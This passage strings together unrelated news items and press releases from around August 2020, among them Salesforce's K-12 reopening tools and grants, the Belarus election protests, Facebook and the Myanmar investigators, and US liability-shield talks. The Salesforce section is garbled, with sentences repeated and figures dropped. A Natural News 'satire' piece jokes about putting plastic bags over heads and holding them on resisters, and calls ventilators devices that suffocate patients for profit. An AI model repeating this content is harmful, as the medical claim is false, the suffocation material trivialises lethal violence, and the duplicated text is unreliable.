more resilient communities. Now, as school districts plan their return, Work.com for Schools gives administrators and staff technology designed to help them navigate the complexities of reopening and managing ongoing campus safety: Workplace Command Center is a single technology hub for school administrators to get a comprehensive view of campus readiness, make data-driven decisions, take action, and communicate with families, teachers and staff effectively. Administrators can make decisions based on real-time, tailored public health data as well as private wellness data from within their school community. is a single technology hub for school administrators to get a comprehensive view of campus readiness, make data-driven decisions, take action, and communicate with families, teachers and staff effectively. Administrators can make decisions based on real-time, tailored public health data as well as private wellness data from within their school community. Wellness Check gives schools the ability to assess if students, teachers and staff are able to return to campus. Administrators can customize Salesforce's CDC-aligned health surveys and automate follow-up actions based on a staff or student's wellness status. From the Command Center, school leaders can surface wellness trends and insights to drive informed decisions around returning staff and students to school, while helping to keep community health data secure. gives schools the ability to assess if students, teachers and staff are able to return to campus. Administrators can customize Salesforce's and automate follow-up actions based on a staff or student's wellness status. From the Command Center, school leaders can surface wellness trends and insights to drive informed decisions around returning staff and students to school, while helping to keep community health data secure. Contact Tracing allows administrators to manually trace health relationships efficiently and privately by collecting data from individuals who are infected or potentially exposed to an infectious disease. Administrators can use visual maps of contacts and locations to monitor and take safety precautions to avoid further interactions and outbreak. Helping Schools Support Students and Engage with Families From Anywhere With new Education Cloud innovations for K-12, schools can support students and families no matter where they are. Communications and Family Engagement Tools enable schools to manage communications quickly and at scale by connecting with families on their preferred channel or device through email, social, text or phone. School leaders can share relevant and personalized updates, track responses, and follow up with families who need additional support. enable schools to manage communications quickly and at scale by connecting with families on their preferred channel or device through email, social, text or phone. School leaders can share relevant and personalized updates, track responses, and follow up with families who need additional support. Student Success Hub will help schools deliver equitable and holistic student support by connecting students with the services they need to thrivefrom food and mental health services to devices, tutoring and more. K-12 counselors and staff will be equipped to manage student progress, intervene early and collaboratively, and measure key outcomes, even if students are remote. $20 Million in Grants to Support Education In addition to shutting down schools across the U.S. overnight, the COVID-19 pandemic has disproportionately impacted vulnerable populationsin particular, communities of color. Schools are embracing remote learning, but too many students don't own a computer or have internet access in their homes to log on, let alone learn. In Oakland, CA, around 50 percent of public school students lack access to technology at home, such as the internet and computers; and nationwide, about 23 percent of households lack high-speed access. This gap, often referred to as the digital divide, threatens to widen already existing achievement and opportunity gaps in our public schools. Building upon its longstanding commitment to supporting local public schools, Salesforce's $20 million in new grants are focused on advancing equity, supporting teachers, and helping close the digital divide that has emerged from the pandemic. San Francisco Unified School District (SFUSD) : $9 million to support the district's reimagination of school through the COVID-19 pandemic and to build upon existing programs to improve student outcomes and opportunities. This is Salesforce's eighth year partnering with SFUSD, delivering $100,000 per school of unrestricted funds to all SFUSD middle-grade principals through the Principal's Innovation Fund annually. This year, the fund is increased to $200,000 per school for additional support. to support the district's reimagination of school through the COVID-19 pandemic and to build upon existing programs to improve student outcomes and opportunities. This is Salesforce's eighth year partnering with SFUSD, delivering per school of unrestricted funds to all SFUSD middle-grade principals through the Principal's Innovation Fund annually. This year, the fund is increased to per school for additional support. Oakland Unified School District (OUSD) : $9 million to support middle school students and educators through the challenges of the pandemic, with unique support for Newcomersunaccompanied immigrant youth, refugees and asylum seekers. This is Salesforce's fifth year partnering with OUSD, which will also receive $200,000 Principal Innovation Fund school allocations for each of its schools. to support middle school students and educators through the challenges of the pandemic, with unique support for Newcomersunaccompanied immigrant youth, refugees and asylum seekers. This is Salesforce's fifth year partnering with OUSD, which will also receive Principal Innovation Fund school allocations for each of its schools. Indianapolis Public Schools (IPS) : $500,000 to support professional development for educators, including racial equity training for teachers. Salesforce has also committed $100,000 to IPS' COVID-19 relief fund. This is Salesforce's third year partnering with IPS. $500,000 to support professional development for educators, including racial equity training for teachers. Salesforce has also committed to IPS' COVID-19 relief fund. This is Salesforce's third year partnering with IPS. Chicago Public Schools (CPS) : $500,000 to train the next generation of school leaders and to provide STEM-related early college and career experiences for students in underserved communities. Salesforce has committed $100,000 to CPS' COVID-19 relief fund. This is Salesforce's third year partnering with CPS. $500,000 to train the next generation of school leaders and to provide STEM-related early college and career experiences for students in underserved communities. Salesforce has committed to CPS' COVID-19 relief fund. This is Salesforce's third year partnering with CPS. New York City Department of Education ( NYC DOE ) : $500,000 to expand and accelerate the district's efforts to create a more equitable school system in light of unprecedented new challenges faced by school communities as a result of COVID-19. This grant also supports implementing the Graduate Profilethe set of knowledge, skills, and experiences all NYC public school students should gain through their education in NYC DOE . This is Salesforce's second year partnering with NYC DOE . to expand and accelerate the district's efforts to create a more equitable school system in light of unprecedented new challenges faced by school communities as a result of COVID-19. This grant also supports implementing the Graduate Profilethe set of knowledge, skills, and experiences all NYC public school students should gain through their education in . This is Salesforce's second year partnering with . Courageous Conversation Global Foundation : $500,000 to develop partnerships to promote racial justice and interracial understanding, supporting our five district partners. This donation will help ensure schools in each district have access to the knowledge, skills, and capacity to build racial equity leaders and practitioners from within. Salesforce's Investment in Education Reaches $118 Million The latest grants bring Salesforce's total investment in education to $118 million, including $85.4 million to San Francisco and Oakland public schools. Salesforce employees have volunteered more than 755,000 hours to support education and workforce development initiatives. Through Salesforce's Circle the Schools program, employees participate in volunteer activities designed to advance student skills, including literacy in elementary schools, STEM in middle schools, and college and career readiness in high schools. Since 2013, Salesforce employees have adopted more than 124 schools globally in 43 cities, including 34 schools in San Francisco and Oakland. Salesforce is committed this year to hosting 100 virtual volunteer events with its employees to help students and educators face this transition globally. Supporting Student Success and Lifelong Learning From K-12 to higher education and beyond, Salesforce provides a number of additional technologies to empower students, teachers, and administrators to support lifelong learning and student success: Education Cloud drives learner and institution success with 360-degree views across the entire educational journey. With one integrated CRM platform for education, K-12, and higher education institutions can create personalized experiences at scale designed to transform learner engagements into lifelong relationships. drives learner and institution success with 360-degree views across the entire educational journey. With one integrated CRM platform for education, K-12, and higher education institutions can create personalized experiences at scale designed to transform learner engagements into lifelong relationships. Trailhead , Salesforce's free online learning platform, breaks down the barriers to learning and empowers job-seekers to learn new skills for the new normal and earn resume-worthy credentials that companies are hiring for. , Salesforce's free online learning platform, breaks down the barriers to learning and empowers job-seekers to learn new skills for the new normal and earn resume-worthy credentials that companies are hiring for. Tableau makes it simple for active students and instructors to unlock the power of data, ask sophisticated questions, get actionable answers, and share their findings easily online. Through the Tableau Academic Program , it's free for active students and instructors. Pricing and Availability Workplace Command Center is generally available today and priced at $15 per user per year. Student, Faculty & Staff Wellness will be included with Workplace Command Center. per user per year. Student, Faculty & Staff Wellness will be included with Workplace Command Center. Contact Tracing is generally available today via Contact Tracing for Employees. Student Success Hub is expected to be generally available in the 4th quarter of 2020. ABOUT SALESFORCE Salesforce is the global leader in Customer Relationship Management (CRM), bringing companies closer to their customers in the digital age. Founded in 1999, Salesforce enables companies of every size and industry to take advantage of powerful technologiescloud, mobile, social, internet of things, artificial intelligence, voice and blockchainto create a 360-degree view of their customers. For more information about Salesforce (NYSE: CRM), visit: www.salesforce.com . Any unreleased services or features referenced in this or other press releases or public statements are not currently available and may not be delivered on time or at all. Customers who purchase Salesforce applications should make their purchase decisions based upon features that are currently available. Salesforce has headquarters in San Francisco, with offices in Europe and Asia, and trades on the New York Stock Exchange under the ticker symbol "CRM." For more information please visit https://www.salesforce.com, or call 1-800-NO-SOFTWARE. SOURCE Salesforce Related Links http://www.salesforce.com SAN JUAN, Puerto Rico - A broken cable caused severe damage at Puerto Ricos Arecibo Observatory, causing a suspension of operations for one of the worlds largest single-dish radio telescopes, officials said Tuesday. The University of Central Florida, which manages the National Science Foundation facility, said in a statement that a cable that helps support a metal platform broke and caused a 100-foot (30-meter) gash on a reflector dish. The university said eight panels in the dome also were damaged and the platform used to access the dome is now twisted. The statement said it was unclear why the cable broke. The cost of the damage wasnt immediately known. Scientists worldwide use the telescope to detect radio emissions emitted by objects such as stars and galaxies. It was featured in the Jodie Foster film Contact and the James Bond movie GoldenEye. Your browser does not support the video tag. HONG KONG, Aug. 11, 2020 /PRNewswire/ -- Big Data Exchange (BDx) , a pan-Asian data center cluster, announced it has received the Uptime Institute Tier III Certification of Design Documents for its new data center being constructed in Nanjing, China. Uptime Institute is the IT industry's most trusted and adopted global standard for the proper design, build and operation of data centers. The Nanjing facility is the first data center in Nanjing to earn the certification. "Ensuring that BDx meets, and even exceeds, the industry standards for our infrastructure is our top priority for all of our facilities, including our Nanjing data center," said David Kim, Chief Operating Officer for BDx. "We're extremely proud to earn the distinction of receiving one of the Uptime Institute's highly sought after certifications. The stringent process was important for us to demonstrate our commitment to offering quality products for our customers." The Uptime Institute's Tier Certification of Design Documents is based on a rigorous set of criteria covering mechanical, electrical, structural and site elements. Uptime Institute experts reviewed the facility's design documents and provided consulting support, which guided a final design compliant with the Tier III rating. BDx recently celebrated the construction milestone of receiving electricity. The Nanjing data center is powered up by two separate 10 kilovolt feeders from two separate substations. Completion of the power source brings the project closer to launching. Once finished, the Nanjing data center will connect to the BDx Global Operating Platform with its unique, fully redundant command and control systems. The BDx Single Pane portal will allow customers to interconnect across the BDx cluster as well as to public clouds and third-party data centers with one click. "The newly certified NKG1 facility is designed to support MNC, FSI and OTT customers, especially for their high-power density demands," said Bill Gao, EVP & CEO Greater China. "With our 1,000-rack/4 megawatt NKG1 facility, and the 4,000-rack NKG2 facility being developed alongside it, we can provide sufficient power to support our customers, whether they need a single rack, complete custom configuration across a whole floor, or a mega power expansion over the next three years. Further, the use of BDx's automated modules allows us to provide a level of customization that rivals competitors in efficiency and cost, offering customers the ability to manage physical racks with the same ease as working in public clouds." The newly constructed facility is scheduled to launch in October. BDx is also inviting tenders for NKG2, which is slated for completion mid-Q4 2021. To learn more about BDx, visit www.bdxworld.com or contact [email protected]. About BDx Big Data Exchange (BDx) is a Pan Asian data center cluster with sites throughout Hong Kong, mainland China and Singapore. Its unique hybrid cloud, connectivity and colocation solutions offer unparalleled security and reliability for the IT infrastructure of its global clientele. As a carrier-neutral provider, BDx creates a secure hybrid ecosystem with its BDx SoftConnect, BDx Armour, and BDx Single Pane offerings, providing connectivity solutions across Asia. By using BDx automated modules, BDx is able to provide customers with a level of customization that rivals competitors in efficiency and cost, offering them the ability to manage physical racks with the same ease as working in public clouds. To learn more, visit www.bdxworld.com or follow us on Twitter and LinkedIn. Media Contact: Jaymie Scotto & Associates (JSA) [email protected] SOURCE BDx Data Centers Related Links https://www.bdxworld.com UN investigators say Facebook played a key role in spreading hate speech that fuelled the violence against Rohingya. The head of a UN investigative body on Myanmar said Facebook has not released evidence of serious international crimes, despite promising to work with investigators looking into abuses in the country including against the majority-Muslim Rohingya. Nicholas Koumjian, head of the Independent Investigative Mechanism on Myanmar (IIMM), told the Reuters news agency the social media giant was holding material highly relevant and probative of serious international crimes but had not shared any during year-long talks. He declined to give details of the material the IIMM had asked for. Facebook did not immediately respond to a request for comment. Myanmar is facing charges of genocide at the International Court of Justice (ICJ) over a 2017 military crackdown on the Rohingya that forced more than 730,000 people to flee into neighbouring Bangladesh. Myanmar denies genocide and says its armed forces were conducting legitimate operations against armed fighters who attacked police posts. UN investigators said Facebook had played a key role in spreading hate speech that drove the violence. The company says it is working to stop hate speech and has deleted accounts linked to the military, including senior army officials, but preserved data. The UN Human Rights Council set up the IIMM in 2018 to collect evidence of international crimes in Myanmar to be used in future prosecutions. Unfortunately, to date, the Mechanism has not received any material from Facebook but our discussions continue and I am hopeful that the Mechanism will eventually receive this important evidence, Koumjian said on Monday. His comments followed a move by Facebook last week to block a bid by the Gambia, which brought the genocide case against Myanmar at the ICJ in the Hague, to obtain posts and communications by members of Myanmars military and police. The social media giant urged the US District Court for the District of Columbia to reject the demand, which it said would violate a US law that bars electronic communication services from disclosing users communications. In a statement last week the company said it could not comply with the Gambias request but was working with the IIMM. (Newser) Now that he's 87, Ian Brackenbury Channell has stepped back from his job a bit. Not even the official wizard of the New Zealand city of Christchurch can go on forever, so he's looking for someone to eventually take his staff. The job description is pretty clear"perform acts of wizardry"for the $10,000-a-year position, funded by the city council. More specifically, the British native explains the job as being a bit of a provocateur, CNN reports, tweaking the system while delivering a net increase in the amount of fun in Christchurch. "Every day the world gets more serious," Channell said, "so fun is the most powerful thing in the world right now." He's not big on a female successor, thinking women are better suited to being fairies. Channell has a candidate: Ari Freeman, 39, who's been his apprentice for 6 years while teaching guitar and being in a psychedelic funk band on the side. story continues below Channel paid a price for his calling; he said he lost friends when he became a wizard, and his wife moved out. "She's still furious," he said. The city council wasn't impressed, either, refusing to give him permission to speak in Cathedral Square, where he dressed as various characters after moving to the city in 1974. He began messing with the council, speaking French in the square, and raised his profile. The city hired him after Prime Minister Mike Moore wrote in 1990, asking him to help out as wizard, per CNN. "No doubt there will be implications in the area of spells, blessings, curses, and other supernatural matters that are beyond the competence of mere Prime Ministers," Moore wrote. In Christchurch, Channel found a "romantic dream" whose center still includes gothic buildings damaged by a 2011 earthquake, unlikely to be changed by economic development. The city hasn't said whether Freeman will have the job next. "I want the wizard phenomenon to continue," he said, adding, "Like a band needs a guitar playerI'll be that guitar player." (Read more wizard stories.) (Natural News) (SATIRE) It all started with N95 face masks, then Dr. Fauci added his suggestion that people wear protective goggles. According to the latest research, the coronavirus can live inside your ears, so we may soon see Walmart require all customers to wear tampons in their ears to block the covid. Clearly what we need is a whole head solution that blocks the coronavirus from all entry points above your neck: Eyes, nose, mouth and ears. Our team of scientists has come up with the perfect solution: A whole-head face mask protection system that blocks all facial orifices. Especially engineered for sheeple who live in states run by Democrats, the solution can be easily assembled from any plastic bag readily found on any beach in America that closely approximates the volume and thickness of your skull. It does not, however, block anal entry of the coronavirus, so additional protections may be needed in certain Democrat districts where rapy politicians and their wealthy donors are on the loose. To achieve instant protection using the whole head protection system, fear-infested sheeple need only take a plastic bag and place it over their head. The tighter the fit, the better it keeps out the corona. Dont worry about not being able to breathe. This is normal with all face masks. If you begin to panic and want to take the plastic bag off your head, just remember that Dr. Fauci needs you to comply. He may, in fact, be willing to hold it over your head until you acclimate to the lack of oxygen and submit to the new system for your protection. Remember, Dr. Fauci and CDC officials believe the best way to stop the coronavirus is to make people stop breathing. After all, thats how ventilators worked, remember? Ventilators, in case you didnt know, are medical devices that suffocate you to death through the complex use of medical technology that generates huge profits for hospitals. Beware! Even fake people can be infected with the corona Be sure to bring extra plastic bags to public protest events so you can help protect fellow Antifa militants by placing whole-head plastic bags over their heads, too. If they resist, you may achieve improved compliance by holding the bag tightly in place for a few minutes until the resistance ceases, at which point that person is fully compliant with covid-19 public safety regulations and can now proceed to collect GOP-approved unemployment bailout money by refusing to apply for a job. Checks are quickly mailed out, even to dead people, as a form of economic stimulus. The whole-head plastic bag mask system is so effective that Harvard scientists plan to announce a nationwide requirement that all climate change scientists wear them. This will likely have little to no impact on the quality of the climate change research they produce, by the way. Soon, Democrat-run cities will be heavily populated by whole head mask enforcers who will run around the city, forcing plastic bags over the heads of people who arent already wearing them. These bag enforcers will also report non-bag-wearers to local police who will proceed to tear gas non-compliant individuals and arrest them, even if it means ignoring a dozen arsonists, looters, rapists and murderers who are carrying out violent crimes right in front of them. Hurry! Theres a man who isnt wearing a bag over his head! GET HIM! The DNC has also announced that Joe Biden plans to debate President Trump while wearing a plastic bag over his head, reportedly to improve the clarity of his speech. It probably couldnt hurt: Go gather your plastic bags now, as there will likely be a nationwide plastic bag shortage once this idea gets out. One woman in Walmart has already adopted the new solution and has even figured out how to wear glasses and a hat underneath the whole head plastic bag mask. Thats called American ingenuity! Note carefully in the photo above that plastic bags can also be used as gloves. Perhaps they can also be used as underwear, but we arent asking. This has been a lame attempt at satire. Dont actually put a plastic bag over your head. Or come to think of it, if youre stupid enough to try it, youre probably already suffering from a lack of oxygen to your brain, so it might not make any difference. The 37-year-old man who cops say hosted a massive house party Sunday in Howell has been charged with violating the governors executive order banning large gatherings. Ronald W. Chatman charged between $30 and $40 for admission to the pop-up bash on Wilson Drive in the Ramtown section of town, according to police. Howell police received help from officers Wall, Brick, Jackson and Freehold officers along with State Police troopers and sheriffs officers from Monmouth and Ocean counties in breaking up the party. There were about 300 people in the area when police arrived shortly before 5 p.m., authorities said. Police noted that attendees were largely cooperative when asked to leave, adding that most were not local. PRIVATE Location in CENTRAL Jersey...Advance Tixs...Females $30.00 Male $40.00, an Instagram post advertising the event read. The post mentioned a DJ and a pool as part of the festivities. The online flyer called the party the Real Big Drip 5. Chatman is scheduled to appear in Howell municipal court on Aug. 26, according to the states municipal court database. The Howell party was among the latest large gatherings broken up by police around the state this summer. On Monday, Alpine police charged a 45-year-old Newark man who authorities say hosted at least two massive gatherings at a mansion in the upscale Bergen County town. Tashay Knight leased the home, charging admission to the parties and illegally selling alcohol, officials said. Over the weekend, a Camden County homeowner and a promoter hosted a pool party with about 250 attendees and charged admission after authorities warned the resident about violating the states coronavirus restrictions, police said Monday. Last month, police charged three people with violating Murphys coronavirus order barring large gatherings after officers broke up a party with at least 700 attendees in Jackson. Outdoor gatherings can have up to 500 attendees while maintaining social distancing as of early July as officials work to slow the spread of the coronavirus. Indoor gatherings are now limited to 25 people. Our journalism needs your support. Please subscribe today to NJ.com. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. A leading diaspora group in the US will hoist India's National Flag at the Times Square this week, the first time the Indian tricolour will be unfurled at the iconic New York City destination. The Federation of Indian Associations (FIA) of the tri-state area of New York, New Jersey and Connecticut said in a statement that it "will be creating history" on August 15, 2020 by "hosting the first ever flag hoisting ceremony at Times Square" to commemorate India's Independence Day. "It will be the first time ever that India's tricolour will be unfurled at the iconic venue in all its glory," the organisation said, adding that Consul General of India in New York Randhir Jaiswal will be the Guest of Honour at the event. The FIA said this year's Independence Day celebrations will include the flag-hoisting ceremony at Times Square and the annual tradition of illuminating the Empire State Building in hues of the tricolour - orange, white and green. The Empire State lighting ceremony will be held on August 14. "The Times Square flag hoisting ceremony is a testament to the Indian-American community's growing patriotism and is a fitting tribute to the FIA which is celebrating its golden jubilee year," the organisation said. Established in 1970, the FIA is among the largest umbrella diaspora organisations. In July, Ankur Vaidya was appointed the FIA Chairman, succeeding prominent Indian-American community leader Ramesh Patel who passed away due to complications from coronavirus. Vaidya, 40, has been long associated with the FIA and was the President of the umbrella diaspora organisation for the year 2014. He is the youngest member of the Board and the youngest to be chosen as its chairman. The Consulate General of India in New York will host a virtual Independence Day celebration on August 15 in which it has invited "members of the Indian community and friends of India" for the commemoration that will be live streamed. The FIA annually organises its flagship event - the India Day Parade to mark India's Independence Day in August. Top US political leaders, lawmakers as well as prominent members of the Indian-American community and celebrities from India have participated in the annual parade that draws a crowd of thousands in the heart of Manhattan each year. This year, however, the parade will not be held due to the Covid-19 pandemic. Also read: India, China jointly preserving peace, security along borders: Chinese Foreign Ministry Senior Officials New Book Sparks Heated Discussion on Graft and Corruption in China Chinas Jilin provincial government recently dismissed an official after he published a controversial book. The whirlwind sequence of events leading to his dismissal highlights the infighting within the Chinese Communist Party (CCP). He Dian, deputy Party secretary and executive deputy director of the Jilin Public Security Department, was dismissed from his posts on July 31. The Partys anti-corruption watchdog, Central Commission for Discipline Inspection (CCDI), started to investigate He Dian and the Jilin provincial government after he published a book called Pingan Jing, translating roughly to book of peace. Controversy He Dians book did not attract peoples attention outside of Jilin Province until July 27. That day, a netizen shared seven pages of the book on Weibo, a social media platform similar to Twitter. The sentences repeated ping an, which translates to being at peace or being safe and sound, over and over, with different modifiers. The content could be translated as such: wishing the eyes to be in a peaceful status, wishing the ears to be in a peaceful status, wishing the nose to be in a peaceful statuswishing you peace at one-year-old, wishing you peace at two-years-oldwishing people are safe at Beijing Railway Station, wishing people are safe at Xian Railway Station, wishing people are safe at Zhengzhou Railway Station The text continues in a similar format throughout. According to the printing presss website, the book was printed in December 2019. It went on sale in January 2020 with a price of 299 yuan ($42.66). In May, the book went through its second printing after the first print was sold out. Officials in Jilin bought up the copies, and also sang high praises about it on social media. Local state-run media also gave the book raving reviews. The book author was He Dian, a local senior official. According to the CCPs mouthpiece newspaper Peoples Daily, he is 57 years old, has a Ph.D. in law, is a professor at Northeast Normal University, and a police inspector. In November 2019, he was promoted to be deputy Party secretary and executive deputy director of the Jilin police department. After his book was exposed on social media, netizens remarked that there was a sharp contrast between the books plain language and his educational background. The Weibo post was shared many times. An employee checks the books at the Hubei Provincial Library in Wuhan, China on June 14, 2020. (Getty Images / Stringer) Big Change On July 29, the Partys anti-corruption watchdog CCDI published a commentary article on its official website, commenting that He Dians book was so uneducated that it totally shocked people. The watchdog then ordered Jilin local authorities, including the propaganda department, to investigate He Dian and other officials who were behind the books publication. State-run CCTV, Xinhua, Peoples Daily have since commented on the book, exclaiming that such a simplistic book was able to be published because of officials boot-licking. The Jilin provincial commission announced an investigation on the book on July 29. A day later, state-run media reported that He confessed his wrong behavior during an internal meeting with the provincial police department. On July 31, He was dismissed. On Weibo, many Chinese netizens shared their opinions on the debacle. Li Shenye 292 posted on July 31 that he speculated He got in authorities crosshairs because he angered his bosses. Lis comments resonated with netizens, who expressed their anger at corruption within Chinese officialdom. Radio France Internationals Chinese website, in a commentary article, noted that The book reflects the deep corruption and instability of Chinese officialdom. The article analyzed that authorities were likely purging officials who were not loyal to current leader Xi Jinping. MINSK -- Demonstrators gathering in the Belarusian capital for a third straight day to protest the official election results were met by a heavy police presence, with protest chants and car horns answered by tear gas fired by security forces. The international community, meanwhile, continued to weigh in on the August 9 election, with the European Union declaring the vote "neither free nor fair" and threatening to impose sanctions against those responsible for the violence against peaceful protesters. Live video streamed online from central Minsk showed multiple incidents in which people were forcibly detained by police in full riot gear. In one case, OMON security forces called for backup to come quickly as they pinned a man to the ground as demonstrators, many recording video on their phones, approached. The man was eventually dragged to a waiting van and driven away. A similar scene unfolded in front of the Pushkin subway station, one of seven stations in the city center that were closed as the authorities braced for another night of protests against what opponents of President Alyaksandr Lukashenka have called a "rigged" election. Preliminary official results of the August 9 vote announced by the Central Election Commission (TsVK) gave Lukashenka a landslide victory with more than 80 percent of the vote, while the official tally for his main rival, Svyatlana Tsikhanouskaya, was less than 10 percent. The latest demonstrations took place after it was announced that Tsikhanouskaya had left Belarus and was in Lithuania. Tsikhanouskaya surfacing in Lithuania -- announced by the Baltic country's foreign minister, Linas Linkevicius, on Twitter on August 11 -- followed reports that she had visited Belarus's Central Election Commission (CEC) headquarters on August 10 to file a complaint about the official outcome of the vote. Tsikhanouskaya had refused to accept the results, which sparked nationwide protests that featured clashes between police and demonstrators who claim the vote was rigged. Appearing emotionally shaken in a video released on August 11 and uploaded on the YouTube channel of her husband, Syarhey Tskihanouski, Tsikhanouskaya was shown reading a prepared statement in which she said she'd made the decision to leave Belarus on her own. It was not immediately clear whether the video had been made in Belarus on August 10 or after she'd arrived in Lithuania: "I made a very difficult decision," Tsikhanouskaya said in the video. "That decision I made by myself. Neither friends, relatives, the campaign team, nor Syarhey could affect it in any way. I know that many will understand me, many will judge me, and many will hate me. But, you know, God forbid, [you have to] face the dilemma I had to face." But an ally of Tsikhanouskaya, Maryya Kalesnikava, said on August 11 that the video statement was made under duress after Tsikhanouskaya had been held without a lawyer for three hours by "high-ranking law enforcement" officers when she tried to register her complaint. "Svyatlana was there without contact with us," Kalesnikava said. "The recent video is the result of these three hours." A second video -- also released on August 11, but on the Telegram channel of the Russia-based MBKhMedia and Belarus's pro-government Telegram channel Zhyoltye Slivy -- showed Tsikhanouskaya wearing the same clothing and sitting on a green couch that cybersleuths said looked strikingly similar to furniture previously seen in video footage taken in the CEC headquarters. In that video, Tsikhanouskaya called on all Belarusians to use "good judgment" and to show "respect for the law." "I do not want blood and violence," Tsikhanouskaya said in that 37-second video clip. "I ask you not to stand against police, do not go out to the squares so that you do not put your lives in danger. Take care of yourselves and your loved ones." As evening set in on August 11, RFE/RL's Belarus Service reported that there had been small-scale attempts to protest the vote with strikes and sit-ins. Live-stream footage carried by Current Time, the Russian-language network led by RFE/RL in cooperation with VOA, showed a heavy police presence and peaceful demonstrators gathering in the city center, chanting "Hello Belarus" and holding up protest signs. The BBC reported that there was nearly no Internet service available in the capital and in other major cities, and that hospitals were "ready to receive large numbers of casualties." The two nights of protests have resulted in hundreds of arrests. Scores of injuries have been reported and at least one protester died in Minsk overnight on August 9-10 amid clashes between riot police and demonstrators. The Belarusian Interior Ministry confirmed that one protester died in Minsk. The ministry said an unidentified explosive device blew up in his hand as he was trying to throw it at police. But witnesses and correspondents at the scene say police were shooting stun grenades into a crowd of protesters at the time of the demonstrator's death. Police also used tear gas, water cannons, and stun grenades to disperse crowds of demonstrators overnight in more than a dozen other cities across Belarus -- including Babruysk, Brest, Vitsebsk, Homel, Hrodna, Mahilyou, Byaroza, and Mazyr. RFE/RLs correspondents reported from the southeastern city of Homel that at least 500 people were detained overnight when riot police moved in and violently dispersed a crowd of demonstrators. In an August 11 press release, Human Rights Watch said that Belarusian security forces had "viciously beat and detained largely peaceful protesters over the countrys election outcome on August 9 and 10" and had "variously used stun grenades, rubber bullets and slugs, blanks from AK-variant rifles, and tear gas." The same day, the Investigative Committee of Belarus warned citizens that they would face repercussions for "illegal actions." "The Investigative Committee once again appeals to citizens. Do not follow provocations by the organizers of the riots," it said in a statement. "Think about the consequences of your actions, be prudent. We remind you that such illegal actions will certainly lead to criminal liability." Tsikhanouskaya's spokesperson Volha Kavalkova said on August 11 that Belarusian authorities had taken Tsikhanuskaya out of the country. "Svyatlana had no choice," Kavalkova said. "It is important that she is free and alive. She left along with her campaign chief Maryya Maroz. But part of Svyatlanas team continues to be held hostage here in Belarus. Kavalkova said Tsikhanouskaya's campaign team would hold "emergency consultations" later on August 11. But she said the campaign team now has two main goals: to defend the choice of the Belarusian people and to stop violence and bloodshed. Tsikhanouskaya entered the race after her husband, a popular vlogger and potential opposition candidate, was jailed. She has said she considers herself the election winner. On August 11, EU chief diplomat Josep Borrell, writing on behalf of EU members, declared that the vote was "neither free nor fair" and threatened "measures on those responsible for the observed violence, unjustified arrests, and falsification of election results." In its first comment since the election, the White House said on August 10 that it was "deeply concerned by the Belarus presidential election...and we urge the Belarusian government to respect the right to peaceably assemble and to refrain from the use of force." U.S. Secretary of State Mike Pompeo echoed that sentiment in a separate statement on August 10, urging the Belarusian government to respect the rights of all Belarusians to participate in peaceful assembly, refrain from use of force, and release those wrongfully detained. The Belarusian parliament on August 11 condemned what it called attempts by a "few politically biased groups" to destabilize the country, saying that "the path of violence is unacceptable for the Belarusian people." Lukashenka on August 10 repeated allegations that forces abroad were trying to manipulate protesters, whom he referred to as "sheep," in order to topple him. With reporting by RFE/RL's Belarus Service, BelTA, Reuters, AP, and AFP Senate Majority Leader Mitch McConnells insistence that legal liability protections for businesses, schools and colleges be included in any new coronavirus relief bill is approaching a moment of reckoning. Warning that an avalanche of litigation would undercut any rebound from the pandemics economic damage, McConnell has repeatedly said he wont let a bill to pass the Senate without a temporary shield from most coronavirus-related lawsuits for businesses that follow public health guidelines. But the proposal remains in limbo with talks on a stimulus package stalled. Action by President Donald Trump over the weekend to at least partially extend expired unemployment aid and defer payroll taxes failed to spur any new negotiations between Democrats and the White House. McConnell and Senate Democratic leader Chuck Schumer on Monday exchanged blame but no new ideas on breaking the deadlock. Business groups backing the Republican proposal say that it would provide a baseline of protection to stop a growing wave of lawsuits from inhibiting our return to a robust economy and healthy citizenry. McConnells view that that liability protections must be part of any eventual deal doesnt appear to be shared by Trump, whos been non-committal on the issue. That raises the possibility that it could end up a bargaining chip once White House negotiators resume talks with Democrats, whove called the protections a deal-breaker. McConnell continues to bring up the liability shield at every opportunity. I dont think the economy has any shot at all of getting back to normal if every entity in the country is dealing with frivolous lawsuits, he said last week on CNBC. But hes also made clear hell go along with whatever deal can be extracted in negotiations between the Trump administration and Democratic leaders. The Republican legislation, written by Senator John Cornyn of Texas, would safeguard businesses against most lawsuits or enforcement actions connected to the virus from December 2019, before the first U.S. Covid-19 case was identified, through October 2024. It would also help move lawsuits from state courts to the more business-friendly federal system. Employers would still be liable for pandemic-related personal injuries if they failed to follow public-health guidelines or engaged in gross negligence or intentional misconduct. Cornyns bill would also limit liability to gross negligence and willful misconduct for medical liability claims arising out of coronavirus care by licensed health-care workers. And it would limit lawsuits related to Covid-19 testing and personal protective equipment if that equipment meets U.S. Food and Drug Administration standards. The scope of this is radical, said Michael Duff, a law professor at the University of Wyoming. What this really is about is to build a structure that will curb bringing these actions in the first place. Business groups backing the Republican proposal said in a letter to lawmakers on July 30 that it would provide a baseline of protection to stop a growing wave of lawsuits from inhibiting our return to a robust economy and healthy citizenry. Bad for Consumers? Neil Bradley, chief policy officer at the U.S. Chamber of Commerce, said in a statement on July 31 that it is impossible to understate what an enormous mistake it would be to exclude temporary liability protections from the next aid package. Schumer and House Speaker Nancy Pelosi counter by saying that the GOPs Safe To Work Act would dramatically limit consumers and workers ability to sue corporations that fail to protect them during the pandemic and beyond. Democrats say the Senate bill stacks the legal deck in favor of those who are guilty of negligent conduct in contrast to their House-passed plan to provide enforceable federal standards through OSHA. Chairs of the House Judiciary and Education & Labor committees sent an analysis to fellow Democrats last week that suggests the Senate bill stacks the legal deck in favor of those who are guilty of negligent conduct. It characterizes the bill as a stark contrast to the House-passed plan to provide enforceable federal standards through the Occupational Safety and Health Administration. Senator Dick Durbin of Illinois, the Senates No. 2 Democrat, is among those who question whether theres any sign of a surge in lawsuits related to the pandemic. Tracking Complaints Independent counts are squishy. One oft-cited complaint-tracking effort by the law firm Hunton Andrews Kurth LLP shows that through Aug. 7 thered been 4,184 coronavirus-related complaints. That count includes a wide variety of actions beyond personal injury, including contractual and civil rights disputes. The information sent out last week by the House panels highlighted the tracker and said there had been fewer than 200 lawsuits filed nationally alleging injury or death resulting from Covid exposure. Duff, the University of Wyoming professor, said the range of potential lawsuits is much broader, and that Democrats should be cautious in suggesting the risk is low. My quibble with the Democrats is that I think even if there were substantial numbers of lawsuits, that in itself would not be a basis to eviscerate the law of negligence, woven into our legal DNA. he said. Seeking 